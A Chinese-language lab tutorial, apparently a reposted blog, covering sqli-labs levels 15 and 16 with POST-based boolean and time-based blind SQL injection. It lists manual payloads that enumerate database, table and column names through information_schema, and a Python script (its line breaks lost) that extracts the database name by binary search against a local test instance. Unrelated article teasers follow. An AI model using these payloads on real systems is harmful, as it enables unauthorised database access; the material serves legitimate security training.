【sql靶场】第15、16关-post提交盲注保姆级教程

server/2025/3/17 18:00:33/

目录

sql%E9%9D%B6%E5%9C%BA%E3%80%91%E7%AC%AC15%E3%80%8116%E5%85%B3-post%E6%8F%90%E4%BA%A4%E7%9B%B2%E6%B3%A8%E4%BF%9D%E5%A7%86%E7%BA%A7%E6%95%99%E7%A8%8B-toc" name="tableOfContents" style="margin-left:40px">【sql靶场】第15、16关-post提交盲注保姆级教程

1.知识回顾

‌GET请求‌

‌POST请求‌

or与and

2.第十五关

1.布尔盲注的手动注入

1.判断

2.数据库名长度

3.数据库名字符

4.表名数

5.表名长度

6.表名符

7.字段数

8.字段长度

9.字段符

2.布尔盲注的脚本注入

3.时间注入的手动注入

1.判断

2.确认时间盲注

3.数据库名长度

4.数据库名字符

5.表名数

6.表名长度

7.表名符

8.字段数

9.字段长度

10.字段符

4.时间注入的脚本注入

3.第十六关


sql%E9%9D%B6%E5%9C%BA%E3%80%91%E7%AC%AC15%E3%80%8116%E5%85%B3-post%E6%8F%90%E4%BA%A4%E7%9B%B2%E6%B3%A8%E4%BF%9D%E5%A7%86%E7%BA%A7%E6%95%99%E7%A8%8B" name="%E3%80%90sql%E9%9D%B6%E5%9C%BA%E3%80%91%E7%AC%AC15%E3%80%8116%E5%85%B3-post%E6%8F%90%E4%BA%A4%E7%9B%B2%E6%B3%A8%E4%BF%9D%E5%A7%86%E7%BA%A7%E6%95%99%E7%A8%8B" style="background-color:transparent">【sql靶场】第15、16关-post提交盲注保姆级教程

关卡讲解前回顾小知识,不看可以跳过,如果还不太会报错注入建议看sql靶场5-6关(报错注入)保姆级教程_sql-labs第5关bp抓包跟hachbar-CSDN博客

1.知识回顾

GET请求

数据通过URL参数传递,明文暴露于地址栏,适用于非敏感数据(如搜索关键词)‌。

受URL长度限制(通常≤2048字符)‌。

POST请求

数据通过请求体传输,URL中仅包含资源路径(如 https://example.com/login)‌。

适合提交敏感信息(如密码)或大量数据(如文件上传)‌

提交方式从get变成了post,使得数据不会通过URL参数传递,明文暴露于地址栏,所以使用post提交POST请求的数据存储在‌请求体(Body)‌中,而非URL参数,URL中仅包含资源路径,这里就不需要再地址栏进行测试,但是我们可以在页面的账号密码输入里尝试,可不可以进行注入

or与and

or在语句中为或的意思,只要满足一个就可以

and在语句中为与的意思,两个都要满足

2.第十五关

1.布尔盲注的手动注入

方法一

在页面的输入框直接进行注入,使用的注释符#,不能使用#

方法二

使用BurpSuite,点击代理然后点击截断的截断请求,然后打开火狐浏览器,打开关卡页面,随便输入账号密码,点击提交

在这里的注入注释符#与#都可以

打开重发器,复制到,发送,输入目标IP与端口,响应

1-测试

个人建议使用BurpSuite,因为可以清楚看见自己的注入,如果出现错误比较好检查,也比较好修改,而在页面的输入框直接注入,第一由于输入框的大小限制,很影响注入语句的输入与观看,第二输入提交后注入语句会变成空,如果报错很难检查与修改错误

如果没有BurpSuite,可以观看Burp Suite Professional的下载安装与使用-CSDN博客

1.判断

布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入

在这里注入要注意一个点,如果不知道用户名就使用or进行连接,这样只要后面的判断语句正确就会返回成功的页面;如果要使用and,就需要前面的用户名与后面的判断语句一起为真才可以

可以通过下面语句判断

1' or '1'='1'#
1' or '1'='2'#

2.数据库名长度

手动进行布尔盲注十分麻烦,首先先要注入出名字的长度

1' or (select length(database())>8) # 
1' or (select length(database())>6) #

4-判断<a class=数据库名长度" height="1070" src="https://i-blog.csdnimg.cn/img_convert/767037506230559443d0fdb21c2e808a.png" width="1980" />

3.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

1' or ((select ascii(substr(database(),1,1)))>80) # 
1' or ((select ascii(substr(database(),1,1)))>104) # 
1' or ((select ascii(substr(database(),1,1)))>116) # 
1' or ((select ascii(substr(database(),1,1)))>110) # 
1' or ((select ascii(substr(database(),1,1)))>113) #
1' or ((select ascii(substr(database(),1,1)))>114) #

6-<a class=数据库名字符2" height="1070" src="https://i-blog.csdnimg.cn/img_convert/a703875d522945ff9c5147aa4db638f6.png" width="1980" />

7-<a class=数据库名字符3" height="1070" src="https://i-blog.csdnimg.cn/img_convert/9add8f7ef25cd2965988d23fa36f9d9a.png" width="1980" />

8-<a class=数据库名字符4" height="1070" src="https://i-blog.csdnimg.cn/img_convert/c038f9ce2452b2ca1ef1c88f2ee706f9.png" width="1980" />

最后确定是ASCLL是115,对照ASCLL是字符s

剩下的也这样一个一个慢慢的注入出来

4.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

1' or (select count(*) from information_schema.tables where table_schema=database()) > 3#
1' or (select count(*) from information_schema.tables where table_schema=database()) > 5#

10-表名数2

表名数为4

5.表名长度
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 # 
1' or (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 # 

12-表名长度2

结果是第一个表的名字长度为7

6.表名符
1' or (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) # 

7.字段数
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 # 
1' or (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>3 #

16-字段数2

结果是3个字段数

8.字段长度
1' or (select length(column_name) from information_schema.columns where table_schema= 'security' or table_name='users' limit 1,1)>6 # 

9.字段符
1' or (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' or table_name='users' limit 0,1),1,1))>32) # 

2.布尔盲注的脚本注入
import requests
​
​
def inject_database(url):name = ''# 初始化空字符串,存储最终数据库名for i in range(1, 100):# 遍历字符位置(假设数据库名最长99字符)low = 32# ASCII可打印字符起始值(空格)high = 128# ASCII结束值(DEL字符,实际只用到127)mid = (low + high) // 2# 二分法初始中间值while low < high:# 二分查找当前字符的ASCII值data = {"uname" : "1' or ascii(substr(database(),%d,1))>%d#" % (i, mid),"passwd" : 'aaaaa'}r = requests.post(url, data=data)if 'flag.jpg' in r.text:low = mid + 1# 当前字符ASCII值 > mid,调整下限else:high = midmid = (low + high) // 2
​if mid == 32:# 若mid为32(空格),终止循环breakname = name + chr(mid)# 将ASCII转为字符并拼接print(name)# 实时输出当前结果
​
​
if __name__ == "__main__":url = "http://127.0.0.1:8080/sqli-labs-master/Less-8/index.php"# 网站地址,千万千万注意网址一定要是自己搭建的sql网址,不能用我的,否则无法使用inject_database(url)# 包含网站

3.时间注入的手动注入
1.判断

当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化

2.确认时间盲注

使用的语法有:IF(condition, value_if_true, value_if_false)

测试是否存在时间盲注即闭合方式

这里我尝试过使用or的连接,但是不行,于是我使用了and连接方式

admin' AND IF(1=1, SLEEP(5), 0) #

3.数据库名长度
admin' and if(length(database())>8,sleep(5),1)# 
admin' and if(length(database())>6,sleep(5),1)#  

21-<a class=时间盲注数据库名长度" height="726" src="https://i-blog.csdnimg.cn/img_convert/3eb04b6ce9e566b2d7cc3be46b5299d8.png" width="2147" />

4.数据库名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试,太多了选择几个

admin'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>110,sleep(5),1)# 
admin'and if(ascii(substr((select database()),1,1))>114,sleep(5),1)# 

23-<a class=时间盲注数据库名字符" height="899" src="https://i-blog.csdnimg.cn/img_convert/346d4d96563ef4e2ebc9a026f3e24207.png" width="2147" />

24-<a class=时间盲注数据库名字符" height="733" src="https://i-blog.csdnimg.cn/img_convert/334f14e3b90b67ac4a7407ef142db2e4.png" width="2147" />

5.表名数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

admin'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)# 
admin'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)# 

26-<a class=时间盲注表名数" height="899" src="https://i-blog.csdnimg.cn/img_convert/3d883debf2e0451d36113c890b5fb9de.png" width="2147" />

表名数为4

6.表名长度
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)# 
admin'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)# 

28-<a class=时间盲注表名长度" height="899" src="https://i-blog.csdnimg.cn/img_convert/2e9cf9d06305c39ac99f30e2faadc656.png" width="2147" />

结果是第一个表的名字长度为7

7.表名符
admin'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)# 

8.字段数
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)# 
admin'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)# 

31-<a class=时间盲注字段数" height="899" src="https://i-blog.csdnimg.cn/img_convert/64887c15ec8117674d62a203106a4812.png" width="2147" />

结果是3个字段数

9.字段长度
admin'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)# 

10.字段符
admin'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)# 

4.时间注入的脚本注入

3.第十六关

这一关的闭合方式为") 剩下的基本与第十五关一样


http://www.ppmy.cn/server/175749.html

相关文章

ROS实践(五)机器人自动导航(robot_navigation)

目录 一、知识点 1. 定位 2. 路径规划 (1)全局路径规划 (2)局部路径规划 3. 避障 二、常用工具和传感器 三、相关功能包 1. move_base(决策规划) 2. amcl(定位) 3. costmap_2d(代价地图) 4. global_planner(全局规划器) 5. local_planner(局部规划器…

ubuntu24.04执行nvidia-smi报错,实际生产报错,处理过程

报错日志 root@h1-29:/var/nvidia-driver-local-repo-ubuntu2404-570.124.06# nvidia-smi Failed to initialize NVML: Driver/library version mismatch NVML library version: 570.124 解决 NVML 驱动/库版本不匹配 问题的分步指南‌ 根据你的描述,当前系统已安装 570.12…

【医学影像 AI】大型语言模型生成 ROP 患者信息材料的能力

【医学影像 AI】大型语言模型生成 ROP 患者信息材料的能力 0. 论文简介0.1 基本信息0.2 摘要 1. 引言2. 材料与方法2.1 大语言模型的使用2.2 可读性标准2.3 统计分析 3. 结果3.1 Bezirci-Yılmaz可读性评分3.2 Ateşman可读性评分3.3 全面性评分3.4 准确性评分 4. 讨论4.1 可读…

【草堂笔记】ARM5到ARM6 分散文件加载错误问题

一 、 背景 在最近的一次项目中&#xff0c;使用的是ciu32L系列的单片机&#xff0c;因为初始化时&#xff0c;需要对flash进行一些数据写入&#xff0c;发现其使用的是ARM5编译 用官方的历程编译一切正常&#xff0c;但我项目使用的是ARM6编译器&#xff0c;所以我也试了下&a…

LeetCode--198. 打家劫舍【从返回最大值到输出路径】

198. 打家劫舍 你是一个专业的小偷&#xff0c;计划偷窃沿街的房屋。每间房内都藏有一定的现金&#xff0c;影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统&#xff0c;如果两间相邻的房屋在同一晚上被小偷闯入&#xff0c;系统会自动报警。 给定一个代表每个房…

Qt 通过MSVC编译运行项目

第一步下载Qt 把Qt能选的插件都选上&#xff0c;有的是连接数据库必须得插件&#xff0c;有的是做图表必须得插件&#xff0c;有的是运行MSVC必须得插件&#xff0c;能选尽量都选上。 第二步安装VS2017&#xff0c;当然我们安装2017的目的主要是用C的编译器&#xff0c;这里提…

uniapp上传文件问题以及返回上一页出现退出app的问题记录

uniapp上传文件使用uni.uploadFile&#xff0c;如果直接一次性在success里完成会导致页面自动刷新&#xff0c;特别是添加了本页面有onshow()方法&#xff0c;上传完会自动调用onshow()方法。 建议使用官方的方式分成两个方法处理&#xff1a; async afterRead(event) {let f…

如何打造TikTok矩阵:多账号管理与内容引流的高效策略

随着短视频平台的崛起&#xff0c;TikTok成为了全球范围内最具影响力的社交平台之一。在这个平台上&#xff0c;通过精确的内容营销和运营策略&#xff0c;许多创作者和品牌成功实现了曝光、粉丝增长和变现。为了提高运营效率&#xff0c;许多专业的内容创作者和团队开始使用Ti…